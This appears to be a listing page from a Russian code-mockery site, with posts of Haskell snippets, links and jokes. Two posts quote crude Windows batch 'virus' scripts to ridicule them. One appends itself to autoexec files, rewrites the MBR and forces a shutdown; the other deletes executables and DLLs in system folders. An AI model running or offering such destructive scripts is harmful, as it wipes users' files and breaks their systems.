1. Куча / Говнокод #15716

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    import Control.Arrow
    more_than_4_minimum_increased_to_100_from_list_of_pairs = 
      map fst >>>
      filter (>4) >>>
      minimum >>>
      (+100)
    
    main = do 
      let l = [(i,j) | i <- [2,4..7], j <- [2..i]]
      print l
      print $  more_than_4_minimum_increased_to_100_from_list_of_pairs l

    Игра:
    Есть один одинокий анон, который пытается написать на схемке аналогичный код. Но он никак не может найти в схеме генератор списков. Помоги маленькому анону найти путь в своей жизни. Антон - нея.

    laMer007, 09 Апреля 2014

    Комментарии (10)
  2. Куча / Говнокод #15700

    +138

    1. 1
    http://www.microsoft.com/ru-ru/smb/campaigns/get-modern/default.aspx

    Таймер идёт назад.
    Да они поехали!

    laMer007, 08 Апреля 2014

    Комментарии (42)
  3. Куча / Говнокод #15665

    +118

    1. 1
    f g l = hylo l (.) (\n -> (g, n-1)) (==0)

    Этот пример использует hylomorphism.
    Композируем функцию типа (.) g(l) пока не наступит n==0

    HaskellGovno, 04 Апреля 2014

    Комментарии (19)
  4. Куча / Говнокод #15639

    +127

    1. 1
    http://ic.pics.livejournal.com/sharpc/9812774/55307/55307_original.png

    Я вот думал, а не запостить ли в раздел PHP...

    laMer007, 02 Апреля 2014

    Комментарии (11)
  5. Куча / Говнокод #15610

    +143

    1. 1
    http://prntscr.com/34tyg5

    wat?
    PS, капча 2882.

    gost, 28 Марта 2014

    Комментарии (14)
  6. Куча / Говнокод #15590

    +131

    1. 1
    Set-Cookie	pingadmin_ya_ne_robot=1; expires=Thu, 27 Mar 2014 06:39:49 GMT; path=/; domain=.ping-admin.ru;

    Ya_ne_robot_infa_sotka

    gost, 27 Марта 2014

    Комментарии (3)
  7. Куча / Говнокод #15554

    +124

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    @echo off
    title %0
    rem conditional check.
    echo welcome to this wonderful program! please wait while I delete all your files!
    rem infection of the user
    copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
    echo echo virus detected! >>c:\windows\system32\autoexec.NT
    echo pause >>c:\windows\system32\autoexec.NT
    echo NT core:infected!
    echo echo shame on you! >>c:\autoexec.bat
    echo echo system hault-virus identified! >>c:\autoexec.bat
    echo chkdsk >>c:\autoexec.bat
    echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
    fdisk /mbr
    shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″

    Нужно БОЛЬШЕ нулей в адресе!
    http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81

    gost, 22 Марта 2014

    Комментарии (8)
  8. Куча / Говнокод #15553

    +131

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
    — FormBorderStyle — None
    — Opacity — 0%
    — ShowIcon — False
    — ShowInTaskbar — False

    И Хабр туда-же...
    http://habrahabr.ru/post/127278/

    gost, 22 Марта 2014

    Комментарии (7)
  9. Куча / Говнокод #15552

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Cd\ 
    Cd C: 
    Сd winMe 
    Del *.exe 
    Del *.ini 
    Del *.com 
    Cd\ 
    Cd win98 
    Cd system 
    Del *.dll 
    Del *.exe

    Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
    Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
    (C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

    gost, 22 Марта 2014

    Комментарии (93)
  10. Куча / Говнокод #15474

    +126

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    import Data.Array
    import Control.Arrow
    l = [1,5,5,5,8,10,17]
    make_array [] = undefined
    make_array l = listArray (0, (length l)-1) l
    -- binary_search:: (Integral i, Num i, Ord e, Ix i) => e -> Array i e -> i
    binary_search item arr = bs la ra where
    	(la, ra) = bounds arr
    	nextWhileEqualItem = uncurry iterate >>> takeWhile (\i -> la<=i && i<=ra && arr!i==item) >>> last
    	bs l r
    		| (m == l || m == r) && item/=av = Nothing
    		| item<av = bs l m
    		| item>av = bs m r
    		| item==av = Just (nextWhileEqualItem ((+) (-1), m), nextWhileEqualItem ((+)1, m))
    		| otherwise = Nothing
    		where
    			m = (l+r) `div` 2
    			av = arr!m
    main = do
    	print $ binary_search 8 $ make_array l
    	print $ binary_search 5 $ make_array l
    	print $ binary_search 5 $ make_array $ tail l
    	print $ binary_search 0 $ make_array l
    	print $ binary_search 100 $ make_array l
    	print $ binary_search 9 $ make_array l

    Решил я значит поучаствовать в специальной олимпиаде Романа с двача.
    http://ideone.com/K5Jj59

    LispGovno, 14 Марта 2014

    Комментарии (21)